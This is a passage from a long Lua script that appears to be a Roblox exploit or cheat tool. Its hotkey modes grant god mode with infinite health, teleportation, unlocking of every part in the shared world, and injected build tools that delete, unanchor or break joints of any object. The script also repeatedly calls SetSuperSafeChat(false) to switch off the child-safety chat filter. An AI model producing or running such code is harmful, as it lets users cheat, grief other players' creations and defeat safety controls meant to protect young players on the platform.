3380 game.Players.LocalPlayer:SetSuperSafeChat(false)
3381 end))
3382 elseif Key==GodKey then
3383 coroutine.resume(coroutine.create(function()
3384 if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
3385 MergeTool=ctool("iMergeTool")
3386 MergeScript=Instance.new("LocalScript",MergeTool)
3387 end
3388 MergeScript.Source=MergeScriptSource
3389 MergeScript.Disabled=true
3390 MergeScript.Disabled=false
3391 if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iTeleport"))then
3392 TeleportTool=ctool("iTeleport")
3393 TeleportScript=Instance.new("LocalScript",TeleportTool)
3394 end
3395 TeleportScript.Source=[[
3396 if(script.Parent:IsA("HopperBin"))then
3397 script.Parent.Selected:connect(function(mouse)
3398 mouse.Button1Down:connect(function()
3399 if(game.Players.LocalPlayer.Character~=nil)then
3400 if(game.Players.LocalPlayer.Character.Torso~=nil)then
3401 game.Players.LocalPlayer.Character.Torso.CFrame=CFrame.new(mouse.Hit.p+Vector3.new(0,5,0))
3402 end
3403 end
3404 end)
3405 end)
3406 end]]
3407 TeleportScript.Disabled=true
3408 TeleportScript.Disabled=false
3409 function aff(path)
3410 for _,v in pairs(path:GetChildren())do
3411 if(v:IsA("Part"))then
3412 Instance.new("ForceField",v)
3413 end
3414 aff(v)
3415 end
3416 end
3417 aff(game.Players.LocalPlayer.Character)
3418 Instance.new("ForceField",game.Players.LocalPlayer.Character)
3419 game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=DefaultGodAndInvisiWalkSpeed
3420 game.Players.LocalPlayer.Character.Head.Transparency=1
3421 if(game.Players.LocalPlayer.Character.Head:FindFirstChild("face"))then
3422 game.Players.LocalPlayer.Character.Head:FindFirstChild("face"):remove()
3423 end
3424 game.Players.LocalPlayer.Character.Humanoid.MaxHealth=math.huge
3425 wait()
3426 game.Players.LocalPlayer.Character.Humanoid.Health=math.huge
3427 game.Players.LocalPlayer:SetSuperSafeChat(false)
3428 end))
3429 Player:SetSuperSafeChat(false)
3430 elseif Key==UnlockKey then
3431 function unlock(root)
3432 for _, v in pairs(root:GetChildren()) do
3433 if(v:IsA("Part"))then
3434 v.Locked=false
3435 end
3436 unlock(v)
3437 end
3438 end
3439 unlock(game.Workspace)
3440 coroutine.resume(coroutine.create(function()
3441 if not(game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"))then
3442 local load=ctool("Unlocked!")
3443 end
3444 wait(4)
3445 if (game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"))then
3446 game.Players.LocalPlayer.Backpack:FindFirstChild("Unlocked!"):remove()
3447 end
3448 end))
3449 elseif Key==LockKey then
3450 function unlock(root)
3451 for _, v in pairs(root:GetChildren()) do
3452 if(v:IsA("Part"))then
3453 v.Locked=true
3454 end
3455 unlock(v)
3456 end
3457 end
3458 unlock(game.Workspace)
3459 coroutine.resume(coroutine.create(function()
3460 if not(game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"))then
3461 local load=ctool("Locked!")
3462 end
3463 wait(4)
3464 if (game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"))then
3465 game.Players.LocalPlayer.Backpack:FindFirstChild("Locked!"):remove()
3466 end
3467 end))
3468 elseif Key==BuildKey then
3469 Player:SetSuperSafeChat(false)
3470 coroutine.resume(coroutine.create(function()
3471 if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iMergeTool"))then
3472 MergeTool=ctool("iMergeTool")
3473 MergeScript=Instance.new("LocalScript",MergeTool)
3474 end
3475 MergeScript.Source=MergeScriptSource
3476 MergeScript.Disabled=true
3477 MergeScript.Disabled=false
3478 if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iCloneTool"))then
3479 local clone=ctool("iCloneTool")
3480 clone.BinType = "Clone"
3481 end
3482 if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iGrabPartTool"))then
3483 local move=ctool("iGrabPartTool")
3484 move.BinType = "GameTool"
3485 end
3486 if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iGrabModelTool"))then
3487 local move=ctool("iGrabModelTool")
3488 move.BinType = "Grab"
3489 end
3490 if not(game.Players.LocalPlayer.Backpack:FindFirstChild("iBTool"))then
3491 iBTool=ctool("iBTool")
3492 iBToolScript=Instance.new("LocalScript",iBTool)
3493 iBToolScript.Name="iBScript"
3494 end
3495 iBToolScript.Source=[[
3496 plr=game.Players.LocalPlayer
3497 plg=plr.PlayerGui
3498 coroutine.resume(coroutine.create(function(plr) while(wait())do chr=plr.Character end end),plr)
3499
3500 if(script.Parent.ClassName~="HopperBin")then
3501 bin=Instance.new("HopperBin",plr.Backpack)
3502 bin.Name="iBTool"
3503 script.Name="iBScript"
3504 script.Parent=bin
3505 else
3506 script.Name="iBScript"
3507 bin=script.Parent
3508 bin.Name="iBTool"
3509 end
3510
3511 bin.Selected:connect(function(mouse) print("iBTool_Selected")
3512 box=Instance.new("SelectionBox")
3513 lso=Instance.new("SelectionPointLasso",chr)
3514 lso.Visible=false
3515 lso.Humanoid=chr:FindFirstChild("Humanoid")
3516 md1=1
3517 md2=1
3518 md3=1
3519 clr=true
3520 ste=false
3521 lvi=false
3522 cle=false
3523 tme=.3
3524 function createGui()
3525 gui=Instance.new("ScreenGui",plg)
3526 gui.Name="iBGui"
3527 --PanelGUI--
3528 frm=Instance.new("Frame",gui)
3529 frm.Visible=false
3530 frm.Name="iBPanel"
3531 frm.Position=UDim2.new(0.0199999996,0,0.400000006,0)
3532 frm.Size=UDim2.new(0.150000006,0,0.400000006,0)
3533 frm.Style="RobloxRound"
3534 frm.ZIndex=8
3535 lab=Instance.new("TextLabel",frm)
3536 lab.Name="iBTitle"
3537 lab.BackgroundTransparency=1
3538 lab.Size=UDim2.new(1,0,0.150000006,0)
3539 lab.ZIndex=9
3540 lab.Font="ArialBold"
3541 lab.FontSize="Size18"
3542 lab.Text="iBuildTools Panel"
3543 lab.TextColor3=Color3.new(1,1,1)
3544 lab.TextStrokeTransparency=0
3545 lab.TextStrokeColor3=Color3.new(0,0,0)
3546 del=Instance.new("TextButton",frm)
3547 del.Name="iBDelete"
3548 del.BackgroundTransparency=1
3549 del.Position=UDim2.new(0,0,0.200000003,0)
3550 del.Size=UDim2.new(1,0,0.119999997,0)
3551 del.Style="RobloxButtonDefault"
3552 del.ZIndex=9
3553 del.Font="ArialBold"
3554 del.FontSize="Size12"
3555 del.Text="Delete"
3556 del.TextColor3=Color3.new(1,1,1)
3557 del.Selected=true
3558 ach=Instance.new("TextButton",frm)
3559 ach.Name="iBAnchor"
3560 ach.BackgroundTransparency=1
3561 ach.Position=UDim2.new(0,0,0.330000013,0)
3562 ach.Size=UDim2.new(1,0,0.119999997,0)
3563 ach.Style="RobloxButton"
3564 ach.ZIndex=9
3565 ach.Font="ArialBold"
3566 ach.FontSize="Size12"
3567 ach.Text="Anchor"
3568 ach.TextColor3=Color3.new(1,1,1)
3569 col=Instance.new("TextButton",frm)
3570 col.Name="iBCanCollide"
3571 col.BackgroundTransparency=1
3572 col.Position=UDim2.new(0,0,0.460000008,0)
3573 col.Size=UDim2.new(1,0,0.119999997,0)
3574 col.Style="RobloxButton"
3575 col.ZIndex=9
3576 col.Font="ArialBold"
3577 col.FontSize="Size12"
3578 col.Text="CanCollide"
3579 col.TextColor3=Color3.new(1,1,1)
3580 lck=Instance.new("TextButton",frm)
3581 lck.Name="iBLock"
3582 lck.BackgroundTransparency=1
3583 lck.Position=UDim2.new(0,0,0.579999983,0)
3584 lck.Size=UDim2.new(1,0,0.119999997,0)
3585 lck.Style="RobloxButton"
3586 lck.ZIndex=9
3587 lck.Font="ArialBold"
3588 lck.FontSize="Size12"
3589 lck.Text="Lock"
3590 lck.TextColor3=Color3.new(1,1,1)
3591 brk=Instance.new("TextButton",frm)
3592 brk.Name="iBBreak"
3593 brk.BackgroundTransparency=1
3594 brk.Position=UDim2.new(0,0,0.699999988,0)
3595 brk.Size=UDim2.new(1,0,0.119999997,0)
3596 brk.Style="RobloxButton"
3597 brk.ZIndex=9
3598 brk.Font="ArialBold"
3599 brk.FontSize="Size12"
3600 brk.Text="BreakJoints"
3601 brk.TextColor3=Color3.new(1,1,1)
3602 set=Instance.new("TextButton",frm)
3603 set.Name="iBSettings"
3604 set.BackgroundTransparency=1
3605 set.Position=UDim2.new(0,0,0.829999983,0)
3606 set.Size=UDim2.new(1,0,0.119999997,0)
3607 set.Style="RobloxButton"
3608 set.ZIndex=9
3609 set.Font="ArialBold"
3610 set.FontSize="Size12"
3611 set.Text="Settings"
3612 set.TextColor3=Color3.new(1,1,1)
3613 frm.Visible=true
3614 --SettingsGUI--
3615 frs=Instance.new("Frame",gui)
3616 frs.Visible=false
3617 frs.Name="iBSettings"
3618 frs.Position=UDim2.new(0.389999986,0,0.400000006,0)
3619 frs.Size=UDim2.new(0.25,0,0.25,0)
3620 frs.Style="RobloxRound"
3621 frs.ZIndex=8
3622 frw=Instance.new("Frame",frs)
3623 frw.Name="iBWindow"
3624 frw.Position=UDim2.new(0,0,0.25999999,0)
3625 frw.Size=UDim2.new(1,0,0.74000001,0)
3626 frw.Style="RobloxRound"
3627 frw.ZIndex=8
3628 cls=Instance.new("TextButton",frs)
3629 cls.Name="iBClose"
3630 cls.Position=UDim2.new(0.850000024,0,-0.00999999978,0)
3631 cls.Size=UDim2.new(0.150000006,0,0.219999999,0)
3632 cls.Style="RobloxButtonDefault"
3633 cls.ZIndex=10
3634 cls.Font="ArialBold"
3635 cls.FontSize="Size12"
3636 cls.Text="X"
3637 cls.TextColor3=Color3.new(1,0,0)
3638 wtl=Instance.new("TextLabel",frs)
3639 wtl.Name="iBTitle"
3640 wtl.BackgroundTransparency=1
3641 wtl.Size=UDim2.new(1,0,0.25,0)
3642 wtl.ZIndex=9
3643 wtl.Font="ArialBold"
3644 wtl.FontSize="Size14"
3645 wtl.Text="iBuildTools Settings Window"
3646 wtl.TextColor3=Color3.new(1,1,1)
3647 wtl.TextStrokeColor3=Color3.new(0,0,0)
3648 wtl.TextStrokeTransparency=0
3649 wtl.TextXAlignment="Left"
3650 clk=Instance.new("TextLabel",frw)
3651 clk.Name="iBClick"
3652 clk.BackgroundTransparency=1
3653 clk.Size=UDim2.new(1,0,0.330000013,0)
3654 clk.ZIndex=10
3655 clk.Font="ArialBold"
3656 clk.FontSize="Size12"
3657 clk.TextColor3=Color3.new(1,1,1)
3658 clk.Text=" - Click Mode : "
3659 clk.TextStrokeColor3=Color3.new(0,0,0)
3660 clk.TextStrokeTransparency=0
3661 clk.TextXAlignment="Left"
3662 ray=Instance.new("TextLabel",frw)
3663 ray.Name="iBRay"
3664 ray.BackgroundTransparency=1
3665 ray.Position=UDim2.new(0,0,0.330000013,0)
3666 ray.Size=UDim2.new(1,0,0.330000013,0)
3667 ray.ZIndex=10
3668 ray.Font="ArialBold"
3669 ray.FontSize="Size12"
3670 ray.TextColor3=Color3.new(1,1,1)
3671 ray.Text=" - Ray Mode : "
3672 ray.TextStrokeColor3=Color3.new(0,0,0)
3673 ray.TextStrokeTransparency=0
3674 ray.TextXAlignment="Left"
3675 rfc=Instance.new("TextLabel",frw)
3676 rfc.Name="iBRayFunction"
3677 rfc.BackgroundTransparency=1
3678 rfc.Position=UDim2.new(0,0,0.660000013,0)
3679 rfc.Size=UDim2.new(1,0,0.330000013,0)
3680 rfc.ZIndex=10
3681 rfc.Font="ArialBold"
3682 rfc.FontSize="Size12"
3683 rfc.TextColor3=Color3.new(1,1,1)
3684 rfc.Text=" - Ray Function : "
3685 rfc.TextStrokeColor3=Color3.new(0,0,0)
3686 rfc.TextStrokeTransparency=0
3687 rfc.TextXAlignment="Left"
3688 ckb=Instance.new("TextButton",frw)
3689 ckb.Name="iBClickButton"
3690 ckb.Position=UDim2.new(0.400000006,0,0,0)
3691 ckb.Size=UDim2.new(0.600000024,0,0.330000013,0)
3692 ckb.ZIndex=10
3693 ckb.Selected=true
3694 ckb.Style="RobloxButtonDefault"
3695 ckb.Font="ArialBold"
3696 ckb.FontSize="Size12"
3697 ckb.Text="Enabled"
3698 ckb.TextColor3=Color3.new(0,1,0)
3699 ryb=Instance.new("TextButton",frw)
3700 ryb.Name="iBRayButton"
3701 ryb.Position=UDim2.new(0.400000006,0,0.330000013,0)
3702 ryb.Size=UDim2.new(0.600000024,0,0.330000013,0)
3703 ryb.Style="RobloxButton"
3704 ryb.ZIndex=10
3705 ryb.Font="ArialBold"
3706 ryb.FontSize="Size12"
3707 ryb.Text="Disabled"
3708 ryb.TextColor3=Color3.new(1,0,0)
3709 rfb=Instance.new("TextButton",frw)
3710 rfb.Name="iBRayFButton"
3711 rfb.Position=UDim2.new(0.400000006,0,0.660000013,0)
3712 rfb.Size=UDim2.new(0.600000024,0,0.330000013,0)
3713 rfb.Style="RobloxButtonDefault"
3714 rfb.ZIndex=10
3715 rfb.Font="ArialBold"
3716 rfb.FontSize="Size12"
3717 rfb.Text="Enable Propertie"
3718 rfb.TextColor3=Color3.new(0,1,0)
3719 end
3720 createGui()
3721 coroutine.resume(coroutine.create(function()
3722 while(mouse)and wait() do
3723 if(box)and(ray)then
3724 if(lvi)then
3725 lso.Visible=true
3726 else
3727 lso.Visible=false
3728 end
3729 if(md1==1)then
3730 if(clr)then
3731 if(mouse.Target~=nil)then
3732 if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
3733 box.Visible=true
3734 box.Parent=chr
3735 box.Adornee=mouse.Target
3736 if(md2==1)then
3737 box.Color=BrickColor.new("Bright red")
3738 elseif(md2==2)then
3739 if(mouse.Target.Anchored)then
3740 box.Color=BrickColor.new("Camo")
3741 else
3742 box.Color=BrickColor.new("Bright red")
3743 end
3744 elseif(md2==3)then
3745 if(mouse.Target.CanCollide)then
3746 box.Color=BrickColor.new("Camo")
3747 else
3748 box.Color=BrickColor.new("Bright red")
3749 end
3750 elseif(md2==4)then
3751 if(mouse.Target.Locked)then
3752 box.Color=BrickColor.new("Camo")
3753 else
3754 box.Color=BrickColor.new("Bright red")
3755 end
3756 elseif(md2==5)then
3757 box.Color=BrickColor.new("Bright blue")
3758 end
3759 end
3760 else
3761 box.Visible=false
3762 box.Parent=nil
3763 box.Adornee=nil
3764 end
3765 end
3766 elseif(md1==2)then
3767 lso.Point=mouse.Hit.p
3768 lso.Parent=chr
3769 box.Visible=false
3770 box.Parent=nil
3771 box.Adornee=nil
3772 if(md2~=1)and(md2~=5)then
3773 if(md3==1)then
3774 lso.Color=BrickColor.new("Camo")
3775 elseif(md3==2)then
3776 lso.Color=BrickColor.new("Bright red")
3777 end
3778 elseif(md2==1)then
3779 if(cle)then
3780 lso.Color=BrickColor.new("Bright red")
3781 else
3782 lso.Color=BrickColor.new("Bright blue")
3783 end
3784 elseif(md2==5)then
3785 if(cle)then
3786 lso.Color=BrickColor.new("Bright red")
3787 else
3788 lso.Color=BrickColor.new("Bright blue")
3789 end
3790 end
3791 end
3792 end
3793 end
3794 end))
3795 function delDown()
3796 del_downFunc=mouse.Button1Down:connect(function()
3797 md2=1
3798 if(md2==1)then
3799 if(md1==1)then
3800 if(mouse.Target~=nil)then
3801 if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
3802 mouse.Target:remove()
3803 end
3804 end
3805 elseif(md1==2)then
3806 lvi=true
3807 while(lvi)and wait() do
3808 if(mouse.Target~=nil)then
3809 if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
3810 mouse.Target:remove()
3811 cle=true
3812 wait(tme)
3813 cle=false
3814 else
3815 cle=false
3816 end
3817 else
3818 cle=false
3819 end
3820 end
3821 end
3822 end
3823 end)
3824 end
3825 function delUp()
3826 del_upFunc=mouse.Button1Up:connect(function()
3827 lvi=false
3828 cle=false
3829 end)
3830 end
3831 function achDown()
3832 ach_downFunc=mouse.Button1Down:connect(function()
3833 md2=2
3834 if(md2==2)then
3835 if(md1==1)then
3836 if(mouse.Target~=nil)then
3837 if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
3838 if(mouse.Target.Anchored)then
3839 mouse.Target.Anchored=false
3840 else
3841 mouse.Target.Anchored=true
3842 end
3843 end
3844 end
3845 elseif(md1==2)then
3846 lvi=true
3847 while(lvi)and wait() do
3848 if(mouse.Target~=nil)then
3849 if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
3850 if(md3==1)then
3851 mouse.Target.Anchored=true
3852 elseif(md3==2)then
3853 mouse.Target.Anchored=false
3854 end
3855 end
3856 end
3857 end
3858 end
3859 end
3860 end)
3861 end
3862 function achUp()
3863 ach_upFunc=mouse.Button1Up:connect(function()
3864 lvi=false
3865 end)
3866 end
3867 function colDown()
3868 col_downFunc=mouse.Button1Down:connect(function()
3869 md2=3
3870 if(md2==3)then
3871 if(md1==1)then
3872 if(mouse.Target~=nil)then
3873 if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
3874 if(mouse.Target.CanCollide)then
3875 mouse.Target.CanCollide=false
3876 else
3877 mouse.Target.CanCollide=true
3878 end
3879 end
3880 end
3881 elseif(md1==2)then
3882 lvi=true
3883 while(lvi)and wait() do
3884 if(mouse.Target~=nil)then
3885 if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
3886 if(md3==1)then
3887 mouse.Target.CanCollide=true
3888 elseif(md3==2)then
3889 mouse.Target.CanCollide=false
3890 end
3891 end
3892 end
3893 end
3894 end
3895 end
3896 end)
3897 end
3898 function colUp()
3899 col_upFunc=mouse.Button1Up:connect(function()
3900 lvi=false
3901 end)
3902 end
3903 function lckDown()
3904 lck_downFunc=mouse.Button1Down:connect(function()
3905 md2=4
3906 if(md2==4)then
3907 if(md1==1)then
3908 if(mouse.Target~=nil)then
3909 if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
3910 if(mouse.Target.Locked)then
3911 mouse.Target.Locked=false
3912 else
3913 mouse.Target.Locked=true
3914 end
3915 end
3916 end
3917 elseif(md1==2)then
3918 lvi=true
3919 while(lvi)and wait() do
3920 if(mouse.Target~=nil)then
3921 if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
3922 if(md3==1)then
3923 mouse.Target.Locked=true
3924 elseif(md3==2)then
3925 mouse.Target.Locked=false
3926 end
3927 end
3928 end
3929 end
3930 end
3931 end
3932 end)
3933 end
3934 function lckUp()
3935 lck_upFunc=mouse.Button1Up:connect(function()
3936 lvi=false
3937 end)
3938 end
3939 function brkDown()
3940 brk_downFunc=mouse.Button1Down:connect(function()
3941 md2=5
3942 if(md2==5)then
3943 if(md1==1)then
3944 if(mouse.Target~=nil)then
3945 if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
3946 clr=false
3947 box.Color=BrickColor.new("Bright red")
3948 mouse.Target:BreakJoints()
3949 end
3950 end
3951 elseif(md1==2)then
3952 lvi=true
3953 while(lvi)and wait() do
3954 if(mouse.Target~=nil)then
3955 if(mouse.Target:IsA("Part"))or(mouse.Target:IsA("CornerWedgePart"))or(mouse.Target:IsA("TrussPart"))or(mouse.Target:IsA("WedgePart"))or(mouse.Target:IsA("Seat"))or(mouse.Target:IsA("VehicleSeat"))or(mouse.Target:IsA("SkateboardPlatform"))then
3956 mouse.Target:BreakJoints()
3957 cle=true
3958 else
3959 cle=true
3960 end
3961 else
3962 cle=false
3963 end
3964 end
3965 end
3966 end
3967 end)
3968 end
3969 function brkUp()
3970 brk_upFunc=mouse.Button1Up:connect(function()
3971 clr=true
3972 lvi=false
3973 cle=false
3974 end)
3975 end
3976 delDown()
3977 delUp()
3978 achDown()
3979 achUp()
3980 colDown()
3981 colUp()
3982 lckDown()
3983 lckUp()
3984 brkDown()
3985 brkUp()
3986 del.MouseButton1Click:connect(function()
3987 md2=1
3988 del_downFunc:disconnect()
3989 del_upFunc:disconnect()
3990 ach_downFunc:disconnect()
3991 ach_upFunc:disconnect()
3992 col_downFunc:disconnect()
3993 col_upFunc:disconnect()
3994 lck_downFunc:disconnect()
3995 lck_upFunc:disconnect()
3996 brk_downFunc:disconnect()
3997 brk_upFunc:disconnect()
3998 del.Style="RobloxButtonDefault"
3999 del.Selected=true
4000 ach.Style="RobloxButton"
4001 ach.Selected=false
4002 col.Style="RobloxButton"
4003 col.Selected=false
4004 lck.Style="RobloxButton"
4005 lck.Selected=false
4006 brk.Style="RobloxButton"
4007 brk.Selected=false
4008 delDown()
4009 delUp()
4010 end)
4011 ach.MouseButton1Click:connect(function()
4012 md2=2
4013 del_downFunc:disconnect()
4014 del_upFunc:disconnect()
4015 ach_downFunc:disconnect()
4016 ach_upFunc:disconnect()
4017 col_downFunc:disconnect()
4018 col_upFunc:disconnect()
4019 lck_downFunc:disconnect()
4020 lck_upFunc:disconnect()
4021 brk_downFunc:disconnect()
4022 brk_upFunc:disconnect()
4023 del.Style="RobloxButton"
4024 del.Selected=false
4025 ach.Style="RobloxButtonDefault"
4026 ach.Selected=true
4027 col.Style="RobloxButton"
4028 col.Selected=false
4029 lck.Style="RobloxButton"
4030 lck.Selected=false
4031 brk.Style="RobloxButton"
4032 brk.Selected=false
4033 achDown()
4034 achUp()
4035 end)
4036 col.MouseButton1Click:connect(function()
4037 md2=3
4038 del_downFunc:disconnect()
4039 del_upFunc:disconnect()
4040 ach_downFunc:disconnect()
4041 ach_upFunc:disconnect()
4042 col_downFunc:disconnect()
4043 col_upFunc:disconnect()
4044 lck_downFunc:disconnect()
4045 lck_upFunc:disconnect()
4046 brk_downFunc:disconnect()
4047 brk_upFunc:disconnect()
4048 del.Style="RobloxButton"
4049 del.Selected=false
4050 ach.Style="RobloxButton"
4051 ach.Selected=false
4052 col.Style="RobloxButtonDefault"
4053 col.Selected=true
4054 lck.Style="RobloxButton"
4055 lck.Selected=false
4056 brk.Style="RobloxButton"
4057 brk.Selected=false
4058 colDown()
4059 colUp()
4060 end)
4061 lck.MouseButton1Click:connect(function()
4062 md2=4
4063 del_downFunc:disconnect()
4064 del_upFunc:disconnect()
4065 ach_downFunc:disconnect()
4066 ach_upFunc:disconnect()
4067 col_downFunc:disconnect()
4068 col_upFunc:disconnect()
4069 lck_downFunc:disconnect()
4070 lck_upFunc:disconnect()
4071 brk_downFunc:disconnect()
4072 brk_upFunc:disconnect()
4073 del.Style="RobloxButton"
4074 del.Selected=false
4075 ach.Style="RobloxButton"
4076 ach.Selected=false
4077 col.Style="RobloxButton"
4078 col.Selected=false
4079 lck.Style="RobloxButtonDefault"
4080 lck.Selected=true
4081 brk.Style="RobloxButton"
4082 brk.Selected=false
4083 lckDown()
4084 lckUp()
4085 end)
4086 brk.MouseButton1Click:connect(function()
4087 md2=5
4088 del_downFunc:disconnect()
4089 del_upFunc:disconnect()
4090 ach_downFunc:disconnect()
4091 ach_upFunc:disconnect()
4092 col_downFunc:disconnect()
4093 col_upFunc:disconnect()
4094 lck_downFunc:disconnect()
4095 lck_upFunc:disconnect()
4096 brk_downFunc:disconnect()
4097 brk_upFunc:disconnect()
4098 del.Style="RobloxButton"
4099 del.Selected=false
4100 ach.Style="RobloxButton"
4101 ach.Selected=false
4102 col.Style="RobloxButton"
4103 col.Selected=false
4104 lck.Style="RobloxButton"
4105 lck.Selected=false
4106 brk.Style="RobloxButtonDefault"
4107 brk.Selected=true
4108 brkDown()
4109 brkUp()
4110 end)
4111 set.MouseButton1Click:connect(function()
4112 if(ste)then
4113 ste=false
4114 frs.Visible=false
4115 set.Style="RobloxButton"
4116 else
4117 ste=true
4118 frs.Visible=true
4119 set.Style="RobloxButtonDefault"
4120 end
4121 end)
4122 cls.MouseButton1Click:connect(function()
4123 ste=false
4124 frs.Visible=false
4125 set.Style="RobloxButton"
4126 end)
4127 ckb.MouseButton1Click:connect(function()
4128 md1=1
4129 ckb.Style="RobloxButtonDefault"
4130 ckb.Selected=true
4131 ckb.Text="Enabled"
4132 ckb.TextColor3=Color3.new(0,1,0)
4133 ryb.Style="RobloxButton"
4134 ryb.Selected=false
4135 ryb.Text="Disabled"
4136 ryb.TextColor3=Color3.new(1,0,0)
4137 end)
4138 ryb.MouseButton1Click:connect(function()
4139 md1=2
4140 ryb.Style="RobloxButtonDefault"
4141 ryb.Selected=true
4142 ryb.Text="Enabled"
4143 ryb.TextColor3=Color3.new(0,1,0)
4144 ckb.Style="RobloxButton"
4145 ckb.Selected=false
4146 ckb.Text="Disabled"
4147 ckb.TextColor3=Color3.new(1,0,0)
4148 end)
4149 rfb.MouseButton1Click:connect(function()
4150 if(md3==1)then
4151 md3=2
4152 rfb.Style="RobloxButton"
4153 rfb.Text="Disable Propertie"
4154 rfb.TextColor3=Color3.new(1,0,0)
4155 elseif(md3==2)then
4156 md3=1
4157 rfb.Style="RobloxButtonDefault"
4158 rfb.Text="Enable Propertie"
4159 rfb.TextColor3=Color3.new(0,1,0)
4160 end
4161 end)
4162 end)
4163
4164 bin.Deselected:connect(function() print("iBTool_Deselected")
4165 clr=false
4166 if(box~=nil)then
4167 box:remove()
4168 end
4169 if(lso~=nil)then
4170 lso:remove()
4171 end
4172 if(gui~=nil)then
4173 gui:remove()
4174 end
4175 end)]]
4176 iBToolScript.Disabled=true
4177 iBToolScript.Disabled=false
4178 if not(game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingBTools..."))then
4179 local load=ctool("LoadingBTools...")
4180 end
4181 local insrt1 = game:GetService("InsertService"):LoadAsset(58901534)--resize
4182 for _, v in pairs(insrt1:GetChildren()) do
4183 v.Name='iResizeTool'
4184 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4185 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4186 end
4187 end
4188 local insrt1 = game:GetService("InsertService"):LoadAsset(16975388)--config1
4189 for _, v in pairs(insrt1:GetChildren()) do
4190 v.Name='iConfigTool1'
4191 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4192 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4193 end
4194 end
4195 local insrt2 = game:GetService("InsertService"):LoadAsset(18474459)--paint
4196 for _, v in pairs(insrt2:GetChildren()) do
4197 v.Name='iPaintTool'
4198 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4199 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4200 end
4201 end
4202 local insrt3 = game:GetService("InsertService"):LoadAsset(36334760)--dragger
4203 for _, v in pairs(insrt3:GetChildren()) do
4204 v.Name='iDraggerTool'
4205 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4206 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4207 end
4208 end
4209 local insrt4 = game:GetService("InsertService"):LoadAsset(58901405)--material
4210 for _, v in pairs(insrt4:GetChildren()) do
4211 v.Name='iMaterialTool'
4212 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4213 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4214 end
4215 end
4216 local insrt5 = game:GetService("InsertService"):LoadAsset(58901575)--surface
4217 for _, v in pairs(insrt5:GetChildren()) do
4218 v.Name='iSurfaceTool'
4219 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4220 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4221 end
4222 end
4223 local insrt6 = game:GetService("InsertService"):LoadAsset(58901335)--insert
4224 for _, v in pairs(insrt6:GetChildren()) do
4225 v.Name='iInsertTool'
4226 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4227 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4228 end
4229 end
4230 local insrt7 = game:GetService("InsertService"):LoadAsset(55028088)--stamper
